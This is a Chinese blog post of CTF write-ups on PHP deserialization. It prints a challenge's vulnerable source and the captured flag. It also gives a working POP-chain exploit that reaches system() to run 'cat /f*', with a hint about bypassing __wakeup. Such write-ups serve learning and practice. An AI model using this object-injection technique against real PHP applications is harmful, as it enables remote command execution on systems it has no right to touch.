NSSCTF 3-4
[FSCTF 2023]ez_php1
1 |
|
Payload
1 |
|
此处注意11行的$aa->b=&$aa->a;
参考:
但如果不传地址,直接赋值是不行的,我的理解是:
$b
不是引用 $a
,而是直接赋值为 $a
的值,那么在对象销毁时,$b
会被销毁。因此,在 __destruct
方法中访问 $this->b
时,可能会引发错误因为 $b
已经不存在。
通过使用引用关系,$a
和 $b
共享相同的内存地址,确保了在 __destruct
方法中能够正确访问到 $a
的内容,因为在销毁对象时,引用关系并没有导致 $b
提前被销毁。这也能解释为什么反序列化函数前面为什么要加一个容错符,因为在__destruct函数里面访问b时,b已经不存在会产生报错信息吧……
[SWPUCTF 2023 秋季新生赛]UnS3rialize
独立解出,艾玛就是爽!!!
-
题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
public $cmd;
function __invoke()
{
echo "Congratulations!!!You have learned to construct a POP chain<br/>";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!<br/>";
$this->cmd = "echo Welcome to NSSCTF";
}
}
class C
{
public $whoami;
function __get($argv)
{
echo "what do you want?";
$want = $this->whoami;
return $want();
}
}
class T
{
public $sth;
function __toString()
{
echo "Now you know how to use __toString<br/>There is more than one way to trigger";
return $this->sth->var;
}
}
class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct<br/>";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}
if (isset($_GET['ser'])) {
$ser = unserialize(base64_decode($_GET['ser']));
} else {
echo "Let's do some deserialization :)";
}
Now you know how to use __construct
Now you know how to use __toString
There is more than one way to triggerwhat do you want?Congratulations!!!You have learned to construct a POP chain
NSSCTF{95c5f548-c828-4a34-80ea-f8990196e4a0} -
分析(注释掉序列化用不到的方法和需要过滤的方法 别漏东西了!)
ps:(已经根据答案把类排好序了==)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
class F
{
public $user = "SWPU";
public $passwd = "NSS";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
$this->notes = new T();
}
// function __destruct()
// {
// if ($this->user === "SWPU" && $this->passwd === "NSS") {
// echo "Now you know how to use __construct<br/>";
// echo "your notes" . $this->notes;
// } else {
// die("N0!");
// }
// }
}
class T
{
public $sth;
// function __toString()
// {
// echo "Now you know how to use __toString<br/>There is more than one way to trigger";
// return $this->sth->var;
// }
}
class C
{
public $whoami;
// function __get($argv)
// {
// echo "what do you want?";
// $want = $this->whoami;
// return $want();
// }
}
class NSS
{
public $cmd;
// function __invoke()
// {
// echo "Congratulations!!!You have learned to construct a POP chain<br/>";
// // system($this->cmd);
// }
// function __wakeup()
// {
// echo "W4keup!!!<br/>";
// $this->cmd = "echo Welcome to NSSCTF";
// }
} -
POP链构造
NSS._ _invoke()<-C. _ _get()<-T.toString()<-F.destruct()
可知最终需要构造的就是
F
类! -
Payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
class F
{
public $user = "SWPU";
public $passwd = "NSS";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
$this->notes = new T();
}
// function __destruct()
// {
// if ($this->user === "SWPU" && $this->passwd === "NSS") {
// echo "Now you know how to use __construct<br/>";
// echo "your notes" . $this->notes;
// } else {
// die("N0!");
// }
// }
}
class T
{
public $sth;
function __construct()
{
$this->sth = new C();
}
// function __toString()
// {
// echo "Now you know how to use __toString<br/>There is more than one way to trigger";
// return $this->sth->var;
// }
}
class C
{
public $whoami;
function __construct()
{
$this->whoami=new NSS();
}
// function __get($argv)
// {
// echo "what do you want?";
// $want = $this->whoami;
// return $want();
// }
}
class NSS
{
public $cmd;
function __construct()
{
$this->cmd='cat /f*';
}
// function __invoke()
// {
// echo "Congratulations!!!You have learned to construct a POP chain<br/>";
// // system($this->cmd);
// }
// function __wakeup()
// {
// echo "W4keup!!!<br/>";
// $this->cmd = "echo Welcome to NSSCTF";
// }
}
$a=new F("SWPU","NSS");//base64_encode
echo (serialize($a));//先输出看看是个什么,因为要绕过wake up,先不急着编码,还要改个属性个数 -
思考
-
看到很多题解是这样写的
1
2
3
4
5$a = new F();
$a->notes = new T();
$a->notes->sth = new C();
$a->notes->sth->whoami = new NSS();
$a->notes->sth->whoami->cmd = 'cat /f*'; -
我个人感觉并不是很好,我喜欢自己手动在类中添加construct魔术方法根据POP链一直传下去!
简洁易懂,当然反序列化出来是一模一样的
-
ok!基础的php反序列化已经搞定啦!
字符串逃逸phar反序列化原生类
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.